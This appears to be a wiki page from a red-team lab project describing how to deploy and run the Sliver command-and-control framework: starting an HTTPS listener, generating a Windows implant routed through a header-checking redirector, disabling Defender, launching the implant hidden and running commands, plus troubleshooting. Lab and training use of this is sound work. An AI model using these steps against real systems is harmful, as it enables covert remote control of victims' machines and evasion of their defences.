Skip to content

11. Sliver

BaddKharma edited this page Jul 19, 2026 · 53 revisions

📡 Sliver

CLI-driven, multi-platform C2 framework from BishopFox. Written in Go and cross-compiles implants to Windows, Linux, and macOS from a single command. The default redStack configuration ships with the redstack C2 profile pre-generated and an admin operator config ready to import.

At a glance
Hostname sliver (private VPC only)
Console sliver-client after SSH-ing into the Sliver host (Guacamole > Sliver (SSH))
Operator config /home/admin/.sliver-client/configs/admin.cfg (auto-installed at boot)
URI prefix /cloud/storage/objects/ (stripped before forward to Sliver)
Multiplexer port 31337 (gRPC, internal only)
Default implant Cross-compiled Windows .exe over HTTP
Time to first implant callback ~2 minutes once the lab is verified
Full docs Sliver wiki

Note

Sliver runs as a daemon that exposes a gRPC multiplexer on port 31337. Operators connect via sliver-client, which speaks gRPC and authenticates with a per-operator .cfg file. Multiple operators can attach to the same daemon simultaneously and see each other's sessions, tasking, and listener output.


Considerations

When Sliver is the right pick

  • CLI-first workflow: If you prefer a terminal over a browser GUI, Sliver feels natural. Tab-completion, command history, scriptable. Useful for muscle memory that transfers to and from real engagements.
  • Cross-platform implants: Sliver cross-compiles to Windows / Linux / macOS from a single command. The --os and --arch flags do the work; no separate builders.
  • Multi-transport: HTTP/S is what redStack wires up to the redirector, but Sliver also supports DNS, mTLS, and WireGuard natively. Useful when you want to compare beacon characteristics across transports.
  • Lightweight architecture: Sliver runs as a daemon plus a client. No Docker stack, no UI server, no database to manage. Boot and restart are quick.
  • Cobalt-Strike-like idiom: If you've used Cobalt or are migrating away from it, Sliver's sessions, use, tasks, interact mental model is familiar.

When to skip Sliver

  • Multi-operator coordination at scale: Sliver supports multiplayer, but Mythic's UI for assigning callbacks to operators, reviewing tasking, and sharing files between operators is more refined. For a 5+ operator engagement, Mythic wins.
  • Visual demos / training: A web UI with a callback table is more legible on a screen than a CLI. For workshops, lean Mythic or Adaptix.
  • Modern evasion testing: Sliver implants are well-known to AV vendors. The default Windows implant lights up Defender immediately. For evasion practice, plan on custom obfuscation; the stock payloads across frameworks all trip Defender.

Sizing tradeoffs

Default t3.medium (2 vCPU, 4 GB RAM, 25 GB disk):

  • Sliver's daemon is lightweight at idle. The memory pressure comes from implant generation.
  • Implant generate runs the Go cross-compiler in-process. The compiler can consume 2+ GB of RAM during compilation. On a t3.small, this exhausts physical memory. The kernel then limits what new processes can be forked, including sshd, causing SSH connections to hang at the banner exchange until the system is rebooted. The default is t3.medium to avoid this entirely.
  • The Sliver host has a 2 GB swapfile as a safety net, but on t3.medium the compiler operates entirely in physical RAM and swap is not touched during normal generation.
  • Downgrading to t3.small is possible for cost savings if Sliver is only used occasionally alongside Mythic or Adaptix, but expect slower generation and occasional SSH disruptions during heavy compile loads.

Disk: 25 GB. Generated implants land in /tmp by default. Periodic cleanup keeps disk healthy across long sessions.

What ships pre-installed

Component Where
Sliver server binary /usr/local/bin/sliver-server (symlink to /root/sliver-server)
Sliver client Bundled with server install; available on PATH as sliver-client
systemd unit sliver.service (auto-start enabled at boot)
Operator config /home/admin/.sliver-client/configs/admin.cfg (loaded on first sliver-client invocation)
Pre-built C2 profile /home/admin/redstack-c2-profile.json (import once, used by generate --c2profile redstack)

The redstack C2 profile pre-bakes the X-Request-ID header value so generated implants pass the redirector's header check without manual configuration.

Operations model

Sliver state lives on disk in /root/.sliver/:

  • /root/.sliver/configs/server.crt, server.key: TLS for the gRPC multiplexer.
  • /root/.sliver/database/: BoltDB store with sessions, listeners, jobs, operators, generated implants metadata.
  • /root/.sliver/configs/operators/: Operator certs (mTLS to gRPC).

A terraform destroy && apply cycle wipes all of this. A systemctl restart sliver preserves it. The [Service] UMask=0022 override in /etc/systemd/system/sliver.service.d/ ensures generated implants are world-readable so the admin user can scp them off the server without sudo.


Configuration

What runs where

sliver (Debian 12) [t3.medium, EBS gp3 25 GB]
├── /root/sliver-server                   The daemon binary
├── /usr/local/bin/sliver-server          Symlink for PATH
├── /etc/systemd/system/sliver.service    systemd unit
├── /etc/systemd/system/sliver.service.d/
│   └── umask.conf                        UMask=0022 override (world-readable implants)
├── /root/.sliver/                        Server state (DB, certs, jobs)
│   ├── database/                         BoltDB
│   ├── configs/                          server cert, operator certs
│   └── slivers/                          Generated implant binaries
├── /root/admin.cfg                       Pre-generated operator config (master copy)
├── /home/admin/.sliver-client/configs/
│   └── admin.cfg                         Operator config installed for the admin user
└── /home/admin/redstack-c2-profile.json  Pre-built C2 profile with redirector header baked in

Tip

The redirector terminates the implant's TLS on 443, then re-encrypts to Sliver's own HTTPS listener on 443 (self-signed, proxy verification disabled). Every leg is HTTPS: implant to redirector, and redirector to Sliver.

Note

If you see "profile with name 'redstack' already exists" on connect, that's expected; the profile persists across client reconnects.


Warning

Defender is disabled on the lab Windows workstation by default so unobfuscated implants can run. If you re-enabled it for evasion testing, it will quarantine the implant immediately. Either disable Defender (Set-MpPreference -DisableRealtimeMonitoring $true) or generate the implant with --evasion and additional obfuscation.

Test Implant

The walkthrough to confirm Sliver is wired correctly. Assumes Verify is complete and the Redirector cert step is done (Direct Access).

Step 1: Access the Sliver Host

The preferred method is MobaXterm from the Windows workstation. Open MobaXterm, expand the redStack Lab session folder, and click Sliver (SSH). The saved session connects directly to the Sliver host over the internal VPC.

Guacamole works too and is fine for a quick command, but MobaXterm gives you a better terminal experience for sustained work: proper scrollback, built-in SFTP panel for file transfer, and session persistence.

Sliver has no public IP. Both methods route through the internal VPC.

Step 2: Connect to Sliver and Start the Listener

sliver-client

The pre-installed admin.cfg config is loaded automatically. You should land at the sliver > prompt within a couple of seconds.

On first session per deployment, import the redstack C2 profile (only needed once; Sliver persists it in the database):

sliver > c2profiles import --file /home/admin/redstack-c2-profile.json --name redstack

Start the HTTPS listener. Sliver auto-generates a self-signed cert for it, which the redirector accepts (it re-encrypts to this listener with verification disabled):

sliver > https --lhost 0.0.0.0 --lport 443

You'll see [*] Starting HTTPS listener then [*] Successfully started job #N. Confirm it's registered with:

sliver > jobs

This lists all active background jobs including listeners. Useful to verify the listener survived a client reconnect.

Sliver console showing http listener start and jobs output
[Figure 11.3.1: Sliver console after starting the HTTP listener, with jobs confirming the listener is registered as an active job]

✅ Checkpoint: Sliver HTTPS listener active on port 443.

Step 3: Generate the Implant

sliver > generate --http https://<your-redirector-domain>/cloud/storage/objects/ --os windows --arch amd64 --format exe --c2profile redstack --save /tmp/sliverTest.exe

Replace <your-redirector-domain> with the value of redirector_domain from your tfvars. For Tunneled Access, use the redirector public IP instead: https://<REDIR_PUBLIC_IP>/cloud/storage/objects/.

The /cloud/storage/objects/ URI prefix is critical: it's what the redirector matches before stripping and forwarding to Sliver's HTTPS listener on port 443. Wrong prefix = decoy page.

Cross-compilation can take several minutes (up to ~5-7 min under load) and may look hung; let it run. You'll see [*] Generating new windows/amd64 implant binary then [*] Implant saved to /tmp/sliverTest.exe.

Sliver console showing completed implant generation
[Figure 11.3.2: Sliver console after generate completes, showing the cross-compilation output and saved implant path]

✅ Checkpoint: /tmp/sliverTest.exe exists on the Sliver host.

Step 4: Transfer to Windows and Execute

MobaXterm handles this without needing SCP. Open a second SSH session to the Sliver host in MobaXterm, then cd to /tmp. Alternatively, use SCP directly from a PowerShell prompt on the Windows workstation:

scp admin@sliver:/tmp/sliverTest.exe C:\Users\Administrator\Downloads\sliverTest.exe

Enter the lab password when prompted. For the MobaXterm method, cd to /tmp:

cd /tmp

MobaXterm's built-in SFTP panel (left sidebar) follows the terminal's current directory automatically. You'll see sliverTest.exe appear in the panel. Right-click it and select Download to save it to C:\Users\Administrator\Desktop\.

MobaXterm SFTP panel showing sliverTest.exe download from /tmp
[Figure 11.3.3: MobaXterm SFTP panel following the terminal to /tmp and downloading sliverTest.exe to the Windows workstation]

Once downloaded, launch it silently from PowerShell on the Windows workstation:

Start-Process -FilePath "C:\Users\Administrator\Desktop\sliverTest.exe" -WindowStyle Hidden

The implant connects out, hits the redirector, the redirector forwards to Sliver, and Sliver registers a new session.

Sliver console showing session arrival and sessions list
[Figure 11.3.4: Sliver console showing the incoming session notification and sessions output confirming the Windows implant is registered]

✅ Checkpoint: First Sliver session registered.

Step 5: Confirm the Full Path

sliver > sessions

You should see your new session listed. Interact with it:

sliver > use [SESSION_ID]
sliver (SESSION) > whoami
sliver (SESSION) > ps

whoami confirms the user context. ps runs Sliver's built-in process enumeration and returns a full process table with PID, name, and owner. No shell required.

Sliver interactive session showing whoami and ps output
[Figure 11.3.5: Sliver interactive session with whoami confirming windows\administrator and ps returning the process table]

✅ Checkpoint: Lab is fully operational for Sliver.

Note

Sliver implants take longer to generate than most C2 frameworks and come out larger (typically 15-35 MB depending on Sliver version and included command set). Both are a result of how Go works: the compiler builds a fully self-contained binary with the Go runtime, all dependencies, and the implant code statically linked in. There are no external DLL dependencies and no runtime install required on the target. Everything the implant needs is baked in. The cross-compilation step (building a Windows binary from a Linux host) adds to the compile time. Subsequent builds of the same implant type are faster because the toolchain is already cached.


Troubleshooting

sliver-client hangs on connect

Means the daemon isn't accepting gRPC connections. Check:

sudo systemctl status sliver
sudo ss -tlnp | grep 31337

If port 31337 isn't listening: sudo systemctl restart sliver and wait ~10 seconds for the daemon to come up. Then retry the client.

sliver-server: command not found

The Sliver install completed but the symlink wasn't created. Verify:

ls -la /root/sliver-server
ls -la /usr/local/bin/sliver-server

If the binary exists at /root/sliver-server but the symlink is missing:

sudo ln -sf /root/sliver-server /usr/local/bin/sliver-server

If /root/sliver-server itself is missing, the install failed. Re-run:

curl https://sliver.sh/install | sudo bash

c2profiles import fails with "no such file"

The profile is generated by cloud-init at /home/admin/redstack-c2-profile.json. If cloud-init was interrupted, it may not exist. Check:

ls -la /home/admin/redstack-c2-profile.json

If missing, generate it manually. The profile is JSON; copy from the latest sliver_setup.sh in the repo's terraform/setup_scripts/ and adjust the header value to match deployment_info.txt.

Implant compiles but never calls back

In order:

  1. Listener is running: sliver > jobs should list the HTTPS listener on port 443.
  2. Network path is clear: From the Sliver host: curl -k -H "X-Request-ID: <token>" -A "Mozilla/5.0..." https://yourdomain.tld/cloud/storage/objects/test. Should reach the Sliver listener (404 from Sliver = good). 200 with decoy HTML = redirector header check failed.
  3. Implant URL matches: --http flag must include the full /cloud/storage/objects/ prefix and use https:// (the redirector terminates SSL).
  4. C2 profile baked the right header: Compare the X-Request-ID value in redstack-c2-profile.json against terraform output deployment_info. If they don't match, re-generate the profile.
  5. Defender on Windows: Check Event Viewer for Defender quarantine. Implant never executes if quarantined.

See Troubleshooting > Agent Won't Callback for the full checklist applying to all C2s.

"Operator config has no permissions" on connect

The admin.cfg was generated with --permissions all. If you're seeing permission errors, the config may have been overwritten by a manual sliver-server operator --name admin run without --permissions. Regenerate:

sudo sliver-server operator --name admin --lhost localhost --save /root/admin.cfg --permissions all
sudo cp /root/admin.cfg /home/admin/.sliver-client/configs/admin.cfg
sudo chown admin:admin /home/admin/.sliver-client/configs/admin.cfg
sudo chmod 600 /home/admin/.sliver-client/configs/admin.cfg

Generated implant is owned by root, can't scp

This is the umask issue the redStack systemd override exists to fix. If implants are 600 root:root instead of 644 root:root:

ls -la /etc/systemd/system/sliver.service.d/umask.conf

If the file doesn't exist, recreate it:

sudo mkdir -p /etc/systemd/system/sliver.service.d/
sudo tee /etc/systemd/system/sliver.service.d/umask.conf > /dev/null << 'EOF'
[Service]
UMask=0022
EOF
sudo systemctl daemon-reload
sudo systemctl restart sliver

Future-generated implants will be world-readable. Existing ones: sudo chmod 644 /tmp/*.exe.

SSH hangs at banner exchange / can't connect to Sliver host

Symptom: ssh admin@sliver (or Guacamole > Sliver SSH, or MobaXterm) stalls immediately after TCP connects and never shows a login prompt. The connection eventually times out with Connection timed out during banner exchange.

Cause: Sliver implant generation (generate) runs the Go cross-compiler in-process. On a t3.small (2 GB RAM), this exhausts physical memory. When memory is gone, the OS cannot fork new processes (including the child sshd that handles your connection), so the banner is never sent. The Sliver daemon and sshd service are both still running; the system can't spawn any more processes until memory pressure drops.

Immediate fix: Reboot the instance. Once memory is reclaimed, sshd forks normally.

aws ec2 reboot-instances --instance-ids <SLIVER_INSTANCE_ID>
# SSH will be back within ~60 seconds

Permanent fix: The default instance type is now t3.medium (4 GB RAM), which prevents memory exhaustion entirely. If you previously deployed with t3.small, upgrade via AWS CLI without a full destroy:

aws ec2 stop-instances --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 wait instance-stopped --instance-ids <SLIVER_INSTANCE_ID>
aws ec2 modify-instance-attribute --instance-id <SLIVER_INSTANCE_ID> --instance-type '{"Value":"t3.medium"}'
aws ec2 start-instances --instance-ids <SLIVER_INSTANCE_ID>

Also update sliver_instance_type = "t3.medium" in terraform.tfvars so future deploys use the correct size.

Sliver service won't start after a reboot

sudo systemctl status sliver
sudo journalctl -u sliver -n 50

Most common: a corrupted BoltDB. Rare, but happens if a hard kill occurs mid-write:

sudo systemctl stop sliver
sudo mv /root/.sliver/database /root/.sliver/database.bad
sudo systemctl start sliver
# All sessions/listeners/operators are gone but the daemon comes up clean

For prod-like state preservation, see Cost Management > Stop Between Sessions.

Multiplexer port 31337 reachable from outside the VPC

It shouldn't be. The Sliver SG only allows port 31337 from the Windows SG and Guacamole SG (so operators inside the lab can attach sliver-client). If you see it accessible from elsewhere, audit the SG rules:

aws ec2 describe-security-groups --filters "Name=tag:Hostname,Values=sliver" --query 'SecurityGroups[*].IpPermissions'

← Previous: Mythic | Next: Adaptix →


"If it works, it's not stupid."

Pentest community adage

Clone this wiki locally